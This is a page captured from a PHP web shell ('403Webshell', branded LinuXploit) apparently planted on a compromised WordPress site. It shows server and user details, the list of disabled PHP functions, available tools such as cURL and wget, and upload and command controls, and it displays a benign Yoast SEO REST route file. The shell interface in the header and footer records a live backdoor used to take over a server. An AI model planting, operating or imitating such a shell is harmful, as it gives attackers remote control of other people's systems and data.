403Webshell
Server IP : 151.101.66.159  /  Your IP : 216.73.216.66
Web Server : Flywheel/5.1.0
System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64
User : root ( )
PHP Version : 7.4.33.18
Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wp-content/plugins/wordpress-seo/src/general/user-interface/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wp-content/plugins/wordpress-seo/src/general/user-interface/opt-in-route.php
<?php

namespace Yoast\WP\SEO\General\User_Interface;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional;
use Yoast\WP\SEO\Helpers\Capability_Helper;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Routes\Route_Interface;

/**
 * Registers a route to get dismiss opt in notification.
 */
class Opt_In_Route implements Route_Interface {

		/**
		 *  The namespace for this route.
		 *
		 * @var string
		 */
	public const ROUTE_NAMESPACE = Main::API_V1_NAMESPACE;

	/**
	 *  The prefix for this route.
	 *
	 * @var string
	 */
	public const SEEN_ROUTE = '/seen-opt-in-notification';

	/**
	 * Holds the user helper.
	 *
	 * @var User_Helper
	 */
	private $user_helper;

	/**
	 * Holds the capability helper instance.
	 *
	 * @var Capability_Helper
	 */
	private $capability_helper;

	/**
	 * Returns the conditionals based on which this integration should be active.
	 *
	 * @return array<User_Can_Manage_Wpseo_Options_Conditional> The array of conditionals.
	 */
	public static function get_conditionals() {
		return [
			User_Can_Manage_Wpseo_Options_Conditional::class,
		];
	}

	/**
	 * Constructs Opt_In_Route.
	 *
	 * @param User_Helper       $user_helper       The user helper.
	 * @param Capability_Helper $capability_helper The capability helper.
	 */
	public function __construct( User_Helper $user_helper, Capability_Helper $capability_helper ) {
		$this->user_helper       = $user_helper;
		$this->capability_helper = $capability_helper;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$opt_in_seen_route_args = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'set_opt_in_seen' ],
			'permission_callback' => [ $this, 'can_see_opt_in' ],
			'args'                => [
				'key' => [
					'required'          => true,
					'type'              => 'string',
					'sanitize_callback' => 'sanitize_text_field',
					'validate_callback' => [ $this, 'validate_key' ],
				],
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::SEEN_ROUTE, $opt_in_seen_route_args );
	}

	/**
	 * Sets the opt-in notification as seen.
	 *
	 * @param WP_REST_Request $request The request. This request should have a key param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function set_opt_in_seen( $request ) {
		$key             = $request->get_param( 'key' );
		$current_user_id = $this->user_helper->get_current_user_id();
		$meta_key        = '_yoast_wpseo_' . $key . '_opt_in_notification_seen';

		// If already seen, return success immediately (update_user_meta returns false when the value is unchanged).
		if ( $this->user_helper->get_meta( $current_user_id, $meta_key, true ) === '1' ) {
			return new WP_REST_Response(
				(object) [
					'success' => true,
					'status'  => 200,
				],
				200,
			);
		}

		$result  = $this->user_helper->update_meta( $current_user_id, $meta_key, true );
		$success = $result !== false;
		$status  = ( $success ) ? 200 : 400;

		return new WP_REST_Response(
			(object) [
				'success' => $success,
				'status'  => $status,
			],
			$status,
		);
	}

	/**
	 * Whether or not the current user is allowed to see the opt-in notification.
	 *
	 * @return bool Whether or not the current user is allowed to see the opt-in notification.
	 */
	public function can_see_opt_in() {
		return $this->capability_helper->current_user_can( 'wpseo_manage_options' );
	}

	/**
	 * Validates the key parameter.
	 *
	 * @param string $key The key to validate.
	 *
	 * @return bool Whether the key is valid.
	 */
	public function validate_key( $key ) {
		$allowed_keys = [
			'task_list',
		];

		return \in_array( $key, $allowed_keys, true );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit